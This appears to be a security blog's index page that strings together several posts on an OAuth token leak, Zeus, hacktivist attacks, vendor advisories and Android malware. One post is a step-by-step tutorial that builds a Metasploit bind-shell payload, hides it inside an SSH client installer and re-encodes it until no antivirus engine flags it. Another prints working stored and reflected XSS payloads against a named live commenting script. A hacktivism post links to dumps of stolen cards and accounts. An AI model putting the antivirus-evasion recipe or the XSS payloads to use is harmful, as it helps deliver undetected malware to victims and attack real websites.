15k Twitter Account Hacked, A True Story?

Few days back an article was published on techworm.in, where a hacker named "Mauritania Attacker" leaked claimed to leak thousands of twitter accounts, the data was made available for public to use and was uploaded on zippyshare.com. The data contained the twitterid, twitternick, oauthtoken nand oauth_token_secret.

How Was the data breached?

Well, it seems to me that the database of a third party app was breached which contained the list of Oauth tokens. In laymen terms oauth is used for authorizing the third party applications without the need of giving them the password. 

The application is granted an access token which it uses to authorize it selves, which means that an attacker having hold of the access token would be able to access the twitter accounts without the need of a password. The Oauth tokens can be easily be by tampering the request with a webapplication proxy such as Tamper Data, Burp suite etc. Twitter has recently introduced Two step authentication, however it isn't much handy in this case.

How Twitter Users Can Protect Themselves?  

Well, if the attacker keeps compromising database of the third party applications and getting the hold of the oauth tokens, then their is not much that twitter can do, Since they can protect their database from being breached, however they certainly have no hold of the third party application database.

Twitter users are advised to revoke access to all the third party application and reauthorize them, therefore the access tokens would be expired and the attacker would not be able to use them. Twitter users should only use trusted third party applications and when they are not using any of them, they should revoke the access so that the access token would be expired.

Facebook, has also known issues with their oauth in past, Security reseachers have pointed multiple flaws and all of them relied upon stealing of the oauth tokens, The issue with twitter in this case is a bit different, the access tokens were compromised due to a third party app, whereas in facebook oauth tokens could have been compromised due to a flaw inside it's design.

Twitter has denied the claims made by an attacker that any part of the twitter's database was compromised, which seems true to me. The Mauritania Attacker has posted a status on his facebook that he will reveal exactly how the access tokens were compromised today to techworm.

Stay subscribed to RHA for more of the security insights. 

Read More

Malware Not To Decrease Any Time Soon!

There are now more than 1 billion smartphone users around the world, many of whom are connected to always-live cloud services. While e-mail and social media accounts are synced with their PC counterparts to create a seamless solution for cross-platform communication, we are now beginning to see some of the major security issues that have been created.
Malware, software intended to damage or take control of a computer system, is spreading through these open channels causing infections at alarming rates. In 2012, mobile malware increased by 1200% and 32% of desktop computers were identified as being infected with a trojan, worm or virus. Many of these infections can be avoided by using a freeware software solution such as Spybot, although new types of malware are released daily that can avoid immediate detection. In the following infographic some incredible statistics have been compiled into a guide explaining the process of infection, the information at stake and helpful tips on protecting yourself from a technological and potentially identity-stealing disaster.

Read More

How Your Bank Accounts Can Be Stolen With Zeus Virus?

The 'Zeus Trojan Horse' Virus once again had a come back. According to a resource, it has an ability to drain your Bank accounts easily.

Zeus Virus can propagate through phishing messages that are generated from the account that was already compromised with phishing. That phished account will then start sending messages to your friends containing links to the ads and would ask them to simply check-out the video or product by clicking on such links. This way the virus will go viral.


Readers are requested to stay refrain from clicking such links, because they might end up getting their accounts compromised The virus is very sophisticated, so that it could replace the website of a bank with the mimicked page of its own.

That fake page could then ask for your security information and some other important data that could be easily sold in black market.

According to many sources, perhaps it has been confirmed that those pages are being hosted by Russian Mafia (known as Russian Business Network as well).

About Zeus(Virus)

The virus is well-known for what it use to do. It was detected once back in 2007, and after that detection it started to spread online. The virus is well-designed so that if you would click on it, the possible and important data like Passwords and Bank Accounts can be stolen easily.

Does Facebook Took Action Against It?

Facebook is aware of it, but it is unlikely that Facebook is going to take any action against it.

The founder of advocacy group Fans Against Kounterfeit Enterprise (FAKE) said that he was trying to alert Facebook about this issue to take action against it as soon as possible, but unluckily he was not satisfied well with their response.

Those who are using windows should stay much careful about this issue. It has been said that Windows devices are much infected with this virus. Hence, Mac OS X or Linux are still safe of this virus.

Some countries like USA and UK are badly infected, though, India, Russia, Canada and France are also infected with the virus at some moderate  limits. Some other countries like Australia, Argentina, Brazil, South Africa, Chile, Saudi Arabia, Pakistan, Indonesia and some other South-East Asian and European countries are less affected by this virus.

Read More

How To Bypass Antivirus Detection - Making An Executable FUD

So in this tutorial we will show you step by step on how to make a virus Fully Undetectable from all the antiviruses. Thought their are lots of approaches, however our team member Malik Rafay has managed to find a way to make an executable FUD using msfencode.

Requirements 

A Backtrack machine , real or virtual. I used Backtrack 5 r3, but other versions of Backtrack are working OK too !!!

Attention !!!


We are using some harmless test files but don't infect people with any real viruses that's a Crime and we here at RHA are not responsible for

Purpose:

Antivirus protects machines from malware but not all of it .there are ways to pack malware to make it harder to detect. well use metasploit to render malware completely invisible to antivirus.

Creating a Listener:

This is a simple payload that gives the attacker remote control of a machine. It is not a virus ant won't spread, but it is detected by antivirus engines. In Backtrack in a Terminal windows execute these commands: 

cd
msfpayload windows/shell_bind_tcp LPORT=2482 X > /root/listen.exe
ls -l listen.exe

You should see the test.exe file as shown below:

Analyzing the Listener with VirusTotal

Go to https://www.virustotal.com/en/

Click the "Choose File" button. Navigate to /root and double-click the listen.exe"listen.exe" appears in the "Choose File" box, as shown below:

In the virustotal web page , Click the "scan it" button !!!

If you see a "File already analyzed" message, click the "View last analysis" button.

The analysis shows that many of the antivirus engines detected the file--33 out of 42, when I did it, as shown below. You may see different numbers, but many of the engines should detect it.

Encoding the Listener

this process will encode the listener, & insert it into an innocent SSH file.

In BackTrack, in a Terminal window, execute these commands:

wget ftp://ftp.ccsf.edu/pub/SSH/sshSecureShellClient-3.2.9.exemsfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1ls -l evil*

You should see the evil-ssh.exe file as shown below :

Scan with virusTOTAL

Go to: https://www.virustotal.com/

If you see a "File already analyzed" message, click the "View last analysis" button.

The analysis shows that fewer of the antivirus engines detect the file now--21 out of 42, when I did it, as shown below. You may see different numbers.

 

Encode the Listener Again This process will encode the listener with several different encodings.

In BackTrack, in a Terminal window, execute these commands:

msfencode -i /root/test.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1msfencode -i /root/listen2.exe -t raw -o

/root/listen3.exe -e x86/jmp_call_additive -c 1
msfencode -i /root/test3.exe -t raw -o /root/test4.exe -e x86/call4_dword_xor -c 1

msfencode -i /root/test4.exe -o /root/test.exe -e x86/shikata_ga_nai -c 1ls -l listen*

You should see several files as shown below :

Analyzing Again

The analysis shows that fewer of the antivirus engines detect the file now 0 out of 42 When I did it as shown below. you may see different numbers.

About The Author

The article is written by Malik Rafay, He is an independent security researcher and is the newest member on RHA team. You can contact him here.

Source

- http://samsclass.info/120/proj/p6x-AV-bypass.html

Read More

Introducing Evil In Your Website With Untrusted Third Party Scripts

This is a small case study, where my aim is to explain why you shouldn't use untrusted third party scripts on your website. Htmlcommentbox is a third part script that could be embedded into any webpage would bring a place where users can comment and interact with each, I feel it is poorly coded from both user's perspective and security perspective as it could introduce lots of spam in your website.

Let's talk about what else could it do else than introducing spam from security perspective. We [Me and Pepe Vila] have found two attack vectors with the HtmlCommentBox as Does not sanitise the user input's properly resulting in a stored xss and also a reflected xss, which obviously leaves wide variety of attack vectors from the attacker's perspective.

Stored XSS POC

The POC is very simple, Seems like that you can inject any thing as long as you don't close the tag:

Example:

<img src=x onerror=prompt(0);

<iframe/onload=prompt(0);

<svg/onload=prompt(0);

Let's see a demonstration of this on their live website where they themselves have hosted their htmlcommentbox making their website vulnerable to the stored XSS too.

http://www.htmlcommentbox.com/feature-requests.html#.UaiW00BkOuI

The following page is where, users can request for additional features, as you can clearly see from the picture that it is using the htmlcommentbox. All, i did was to inject the following payload into the messagebox:

<img src=x onerror=prompt(0);

Second Issue - Reflected XSS

Well, this is not it, We have more for you, Implementing HTMLCommentBox also makes your website vulnerable to a non persistent xss.

Let's take a closer look at their script that users would implement on their page:

(function(){var s=document.createElement("script"),l=(""+window.location || hcb_user.PAGE),h="//www.htmlcommentbox.com";s.setAttribute("type","text/javascript");s.setAttribute("src",h+"/jread?page="+encodeURIComponent(l).replace("+","%2B")+"&opts=16862&num=10");if(typeof s!="undefined")document.getElementsByTagName("head")[0].appendChild(s);})()

If you closely look at the window.location portion, you would find that encodeURIComponent allows single quotes. If we just replace window.location with our alert statement, it would triggered under the script context, Hence making the website vulnerable to a xss. And the /jread?page='-prompt(1)-'&opt=x&num=y, this would be reflected under the page context.

So the POC would be as follows:

http://www.htmlcommentbox.com/?'-prompt(1)-'

Again, I am very thankful to @pepevila for pointing the second issue. 

The lesson to be learned is business that rely on or use third part scripts on their website, Should use well known scripts and make sure that they are not vulnerable to any attacks or atleast research if their haven't been any issues with them in past, because often times these third party scripts are responsible for the security breaches.

Take an example from this case study, Where using a third party script to host comments introduced High risk security vulnerabilities. Any one using this script on their websites are requested to immediately remove it.

Read More

How Was 1337day.com Hacked?

Today, in the morning when i browsed to 1337day.com (The famous exploit buying/selling database), I was shocked to see 1337day defaced by famous turkish hacker group named "Turkguvenligi", In past Turkguvenligi has been responsible for defacements of lots of famous websites. Here is what appeared when i came across 1337day.com

On their defacement page, they told that they had asked 1337day to ban a fake user with author id =5819 but they refused to do so, As i browsed to http://www.1337day.com/author/5819, i website was first appeared to be inaccessible, later it showed the following message:

However, i used their mirror site 1337day.org to access the author link, Here is the screenshot:

By looking at the author name "Agd_Scorp", i understood the whole point of the dispute, Agd_Scorp is a well known hacker and founding member of "Turkguvenligi", He is responsible for lots of high profile defacements, If you take a look at his Zone-h record, it's pretty impressive, he has history of hacking into domain registrars.

It appears to me that some known was submitting exploits with the name of Agd_Scorp, They asked 1337day team to remove it, however they refused to remove it. Therefore they defaced their website.

How was 1337day.com hacked?

There have been issues in the past where 1337day, injectors etc and their mirror websites were hacked, but in all of those cases, their servers were never compromised, it was their domain registrar Moniker.com, which got compromised by the attackers.

The attackers, compromised moniker.com and changed their dns servers to their own dns servers, a story matching Google Pakistan hack, The 1337day team later confirmed on their facebook that their domain registrar was the victim of their attack not their DNS servers.

They have also asked webmasters not to invent stories that their server was hacked. They say it's impossible, I don't agree with them on this point. Even most secure systems can be compromised.

On performing a WHOIS lookup, I came to know that they have actually switched their hosting account from Moniker.com to hostgator.com

I have confirmed with hostgator that the dns servers for websitewelcome belong to them. We, will update you as soon as we have more information. 

Read More

Anonymous Hackers Cause Significant Damage To Banking And Government Agencies

A collective of hacker groups planed to attack the websites of major government agencies and banks on May 7 to protest American foreign policy.

For weeks, the groups, which include Anonymous, have used social media to publicize their planned operation, dubbed "#OpUSA."


Experts from USA(to cover up things) say that the attack was not well-planned and focused. On the other hand, twitter is full of #OpUSA tweets which tells us a different story. The hacker groups have compromised a large number of targets which as either owned by US government or its residents.

AnonGhost made a significant contribution to #OpUSA by taking down a large number of websites, emails, credit cards, etc. According to their pastebin post, hackers claim to hack-

- More than 700 websites (http://pastebin.com/zftTrrrh)
- More than 10k American credit cards(http://pastebin.com/D4QCynHC)
- 1 lac email accounts which belong to US residents (http://www45.zippyshare.com/v/58998013/file.html) 4. - More than 5000 facebook accounts(http://pastebin.com/NRvmnYFe)
- More than 12k email accounts of USA (http://www11.zippyshare.com/v/39103082/file.html)

The complete paste can be seen here(http://pastebin.com/RSqKCd1N).

The list of hacked sites mostly include high profile government websites from Australia, Ministry of environment Dominica, government of Argentina, Philippines, NGOs,  universities and other educational institutions from Thailand  Brazil, Russia, Israel, USA, Canada, UK, Romania, and Italy.

Most of the sites seem to be recovered but some of them are still now defaced, down or under maintenance.

We managed to ask the leader of AnonOps "Mauritania Attacker", also responsible for lots of high profile defacements, the purpose and the cause of the #OPUSA.

"I attack USA because they think that muslims are terrorist but the reality is that they themselves are the biggest terrorist and they declared war Against Islam and me as a Muslim i will stand against them even if i die " Mauritania Attacker said.

Mauritania Attacker is the leader of AnonOPS, He played a major role inside #OPISRAEL, along with it he is also responsible for other high profile attacks on lots of other organizations.

Note: RHA has no association with any of the hacktivists. 

About The Author

Major Part of this article was contributed by a security researcher Deepanker Arora. Recently, He contributed an article on "Hacking Windows Servers".

Read More

BlackBerry Users At Risk

Attention all BlackBerry users! You are vulnerable to remote attacks by hackers.

It has been reported by Blackberry security advisory that it is possible for hackers to infiltrate BlackBerry Enterprise Server. Hackers can also run malicious code on BES which is used by many companies. These exploits are considered to be grave in nature.


According to BlackBerry security advisory:

Vulnerabilities exist in how the BlackBerry MDS Connection Service and the BlackBerry Messaging Agent process TIFF images for rendering on the BlackBerry smartphone.Successful exploitation of any of these vulnerabilities might allow an attacker to gain access to and execute code on the BlackBerry Enterprise Server.Depending on the privileges available to the configured BlackBerry Enterprise Server service account, the attacker might also be able to extend access to other non-segmented parts of the network.

The hacker can trick the user into visiting a webpage that carries out the attack or embeds a malicious code directly into an email or instant message. BlackBerry Enterprise Server is mainly involved in this method and it depends on how it handles TIFF image files which are being viewed by the BlackBerry user. According to some reports, these images/links do not even need to be clicked or an email to be viewed for the attack to begin.

The biggest concern is that through the attack, hackers might succeed into planting malicious code on BES which allows remote access to it. This would lead to information being stolen from your network. Hackers may also be able to crash or interrupt communications through this exploit.

BlackBerry phones are not the root cause of these attacks. BES used by companies is the vulnerable software here. Therefore, you do not need to throw your BlackBerry out.

There haven't been any reports on attacks being carried out on BlackBerry customers but we request our readers to update their phones as soon as possible before you become a victim and your personal information is stolen from you.

BlackBerry has published workarounds from the companies who may not succeed in updating their BES.

Cheers!

About the Author:
This article is written by Dr. Sindhia Javed Junejo. She is one the core members of RHA team.

Read More

Adobe Zero Day - How To Protect Yourselves?

A couple of hours ago, we wrote a detailed blog on Adobe's Zero-Day malware, found by Fireeye and investigated by Sophos Lab. The malware consisted of an exploit to hack Adobe Reader and Adobe Acrobat softwares. The recent upgrades of the two softwares have found to be insufficient in providing security to the PC running them. The exploits remain unlatched (as for now) and the user vulnerable.

Adobe is doing its part and has begun by issuing a formal bulletin offering its users advice on the matter:

Adobe has identified critical vulnerabilities (CVE-2013-0640, CVE-2013-0641) in Adobe Reader and Acrobat XI (11.0.01 and earlier), X (10.1.5 and earlier) and 9.5.3 and earlier for Windows and Macintosh. These vulnerabilities could cause the application to crash and potentially allow an attacker to take control of the affected system.

Adobe is aware of reports that these vulnerabilities are being exploited in the wild in targeted attacks designed to trick Windows users into clicking on a malicious PDF file delivered in an email message.

Adobe is in the process of working on a fix for these issues and will update this advisory when a date for the fix has been determined.

Assess If You Are Being Attacked

If you are being attacked by the exploit, you may not realise it for a while. It's not an obvious attack as is the case with many malwares that are found today. The exploit basically takes over Readers using it to inject malware into your PC and reloads Reader with a clean PDF that doesn't look suspicious at all and does not function in an unexpected way. The user is therefore, at ease at what he sees on his PC not doubting it for a second.

Brace Yourself

Windows and Mac users are susceptible to such an exploit. It affects Reader and Acrobat, versions 9, X (10) and XI (11).

Windows users can defend themselves by first upgrading to version XI. Make sure that you do not opt to download the optional software (in this case, Google Chrome and Chrome toolbar) along with the update.

To protect yourself from the attack switch Protected View on:

In addition to a dependable anti-virus software and a firewall along with enforced Protected View, you are less prone to be affected by this malware.

For Mac Users

Mac users do not have a "Protected View" option. However, you can use the built-in Preview application as the default PDF viewer and avoid using Adobe. You can still load and use Reader but on your own terms. By doing so, you wont be as susceptible to the attack as you would be when its running in the background without your knowledge.

In The End

Be careful with what you receive in your emails. Do not open attachments that you receive in your emails unless they are from a trusted sender.

Cheers!

About the Author:

This article is written by Dr.Sindhia Javed Junejo. She is one of the core members of RHA team.

Read More

Android Malware That Infiltrates Your PC

There has been a rise in the demand and purchase of Android-based devices. Typically, the reason is the easiness of use, accessibility and cost. Inexpensive Android smartphones have been taking over much of the market since the OS was first introduced and people who purchase low-cost Android phones look for ways to speed up their devices. This leads to them trusting third-party applications on Play Store. Where some of these apps are legit, most of them happen to be malicious and only fake the process of cleaning up the system. An app with the likes of the above example has recently been discovered and reported by Kaspersky Lab.

The app, Superclean, basically spreads from your Android smartphone to your PC and can be found on the Play Store. Ironically, it has a rating of 4.5 on the Play Store which is not bad for a malware.


Another app that is identical to Superclean is DroidCleaner.

If you launch these apps, they will appear to show you the details of the services running on your smartphone. The interface is not to-die-for and unimpressive. It then restarts them.

At this moment, the app begins to "jiggy with it",

and performs a number of commands executing the following code:

The name of the method used is Tools.UsbAutoAttack.

Three files are downloaded executing the above code from a URL. These files are:

autorun.inf
folder.ico
svchosts.exe

To determine where the application saves these files we will use the DownloadFile method.

These files are placed in the root directory of the SD card due to the master application's code. Hence, when the affected smartphone is connected to the PC via the USB cable in the USB drive emulation mode, it will automatically execute svchosts.exe file which is actually Backdoor.MSIL.Ssucl.a. This file  isn't particular of interest, however, it includes a freely distributed library NAUDIO (http://naudio.codeplex.com). NAUDIO constitutes most part of the application.

Let's learn why this specific command was used for this application. Victor Chebyshev, an expert at the Kaspersky Lab has decided to explain it to us in detail:

First of all, have a look at the constructor of the frmMain form:

As you can see, a “Data Received” event causes the event handler to call the con_DataReceived function.

The function has rather extensive capabilities and is designed to handle a variety of commands sent by the master, but right now we are interested in the way a specific command is handled:

It can be seen in this piece of code that the RECORD_STR command causes the StartRec function to be called:

Next, note BeginMonitoring and BeginRecording.

In the former case, monitoring of the default audio recording device is configured. The value of the recordingDevice variable is set to zero for the purpose.

In the former case, monitoring of the default audio recording device is configured. The value of the recordingDevice variable is set to zero for the purpose:

As soon as the microphone detects sound, the application immediately begins to write audio data to a file using BeginRecording:

The program encrypts files and sends them to the master:

Encryption algorithm

Uploading any file to the master’s FTP

This is where the address to which the app should connect and send files is taken from

This has to be one of the most unsophisticated ways to spread malware but doing so via a smartphone is a new attack vector. The autorun feature is disabled by default for external drives in the newer versions of Microsoft Windows. This poses a threat mainly to the users of outdated versions of Microsoft Windows. An owner of an inexpensive Android smartphone who connects his/her device to the PC regularly is most prone to such an attack.

According to Victor Chebyshev;

It is worth noting that the approach used by the author of these applications is very well thought out. The app includes a vast range of features. For instance, in addition to infecting workstations, the Android version of the bot includes the following features:

• Sending SMS messages

• Enabling Wi-Fi

• Gathering information about the device

• Opening arbitrary links in a browser

• Uploading the SD card’s entire contents

• Uploading an arbitrary file (or folder) to the master’s server

• Uploading all SMS messages

• Deleting all SMS messages

• Uploading all the contacts/photos/coordinates from the device to the master

This is the first time we have seen such an extensive feature set in one mobile application.

Its better to stay safe then be sorry. Remember that and you shall prevail.

Cheers!

About The Author

This article is written by Sindhia Javed Junejo. She is one of the core members of RHA team.

Read More